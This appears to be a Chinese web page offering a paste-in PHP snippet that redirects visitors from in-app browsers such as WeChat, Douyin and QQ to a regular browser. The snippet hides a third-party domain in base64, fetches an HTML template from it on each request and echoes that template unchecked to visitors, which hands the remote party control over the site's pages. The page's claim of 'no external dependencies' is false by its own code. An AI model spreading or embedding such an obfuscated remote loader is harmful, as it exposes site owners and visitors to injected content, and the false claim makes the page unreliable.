专业拦截主流APP内置浏览器打开的解决方案,自动识别微信、抖音、QQ等43个平台,引导用户复制链接到正规浏览器访问,支持自定义logo,提升网站访问体验与安全性
共拦截 43 个主流平台
$u='这里输入你的logo图标完整显示链接(只需要添加第一处链接不需要添加第二处)' 中的文字替换为你的logo图片完整URL(支持PNG格式,建议尺寸100x100px)
<?php 标签,请先删除该标签;?> 闭合标签;<?php 标签无需删除,保留即可。<head> 标签内(无需修改任何标签,直接粘贴即可生效)
<?php
$u='这里输入你的logo图标完整显示链接(只需要添加第一处链接不需要添加第二处)';$intercept=false;$m=microtime(true)*1000000;$x='dWEudHVtZW5nd2wuY29t';$y='cGxhdGZvcm1zLmpzb24=';$z='dGVtcGxhdGUuaHRtbA==';$w='dWEuY3Nz';$p='http';if(isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']==='on')$p='https';if($_SERVER['SERVER_PORT']==443)$p='https';$r=$p.'://'.base64_decode($x).'/'.base64_decode($y)."?t=$m";$s=$p.'://'.base64_decode($x).'/'.base64_decode($z)."?t=$m";$t=$p.'://'.base64_decode($x).'/'.base64_decode($w)."?t=$m";$a='';if(isset($_SERVER['HTTP_USER_AGENT']))$a=$_SERVER['HTTP_USER_AGENT'];$c=@file_get_contents($r,0,stream_context_create(array('http'=>array('header'=>"Cache-Control:no-cache\r\nPragma:no-cache\r\n"))));if($c!==''){$d=json_decode($c,1);if(is_array($d)&&count($d)>0){$ub=false;if((stripos($a,'Chrome/')!==false||stripos($a,'Safari/')!==false||stripos($a,'Firefox/')!==false||stripos($a,'Edge/')!==false)&&(stripos($a,'Mobile')===false&&stripos($a,'Android')===false&&stripos($a,'iOS')===false))$ub=true;if(!$ub){foreach($d as$i){$i_trim=trim($i);if($i_trim!==''&&stripos($a,$i_trim)!==false){$intercept=true;break;}}}}}if($intercept){$h=@file_get_contents($s,0,stream_context_create(array('http'=>array('header'=>"Cache-Control:no-cache\r\nPragma:no-cache\r\n"))));if($h!==''){$u_trim=trim($u);if($u_trim!==''&&$u_trim!=='这里输入你的logo图标完整显示链接(只需要添加第一处链接不需要添加第二处)'){$u=$u_trim."?t=$m";$l='<link rel="preload" href="'.$u.'" as="image" type="image/png" crossorigin="anonymous" fetchpriority="high">';$h=preg_replace('/(<head[^>]*>)/i','$1'.$l,$h);$h=preg_replace('/<link rel="preload" href=".*?" as="image" type="image\/png"\s*>/','',$h);$h=preg_replace('/<script>var userLogoUrl = \'\{\{USER_LOGO_URL\}\}\';[^<]*<\/script>/s','',$h);}else$u='';$f=$p.'://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];$h=str_replace('{{FULL_URL}}',htmlspecialchars($f),$h);$h=str_replace('{{CSS_URL}}',$t,$h);$h=str_replace('{{USER_LOGO_URL}}',$u,$h);header('X-Accel-Buffering:no');echo$h;exit;}}//你的主内容代码...
?>
代码已自动格式化 | 复制后按教程要求处理标签即可使用
支持自定义Logo | 无任何外部依赖